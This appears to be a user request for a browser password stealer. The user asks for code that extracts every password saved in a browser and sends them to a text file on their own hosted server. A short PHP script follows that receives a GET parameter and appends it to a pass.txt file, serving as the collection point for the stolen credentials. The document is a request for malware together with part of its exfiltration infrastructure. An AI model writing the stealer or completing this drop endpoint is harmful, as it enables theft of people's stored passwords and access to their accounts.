Please create a code that has get all passwords stored in browser and then get at txt file in my hosted with all functions as online

<?php 
$data = $_GET['data'];
$filePath = 'C:\Users\User\Desktop\pass.txt';
if(isset($data)){
  file_put_contents($filePath, $data, FILE_APPEND);
}
echo("<h1>YOUR DATA SAVED</h1>");
?>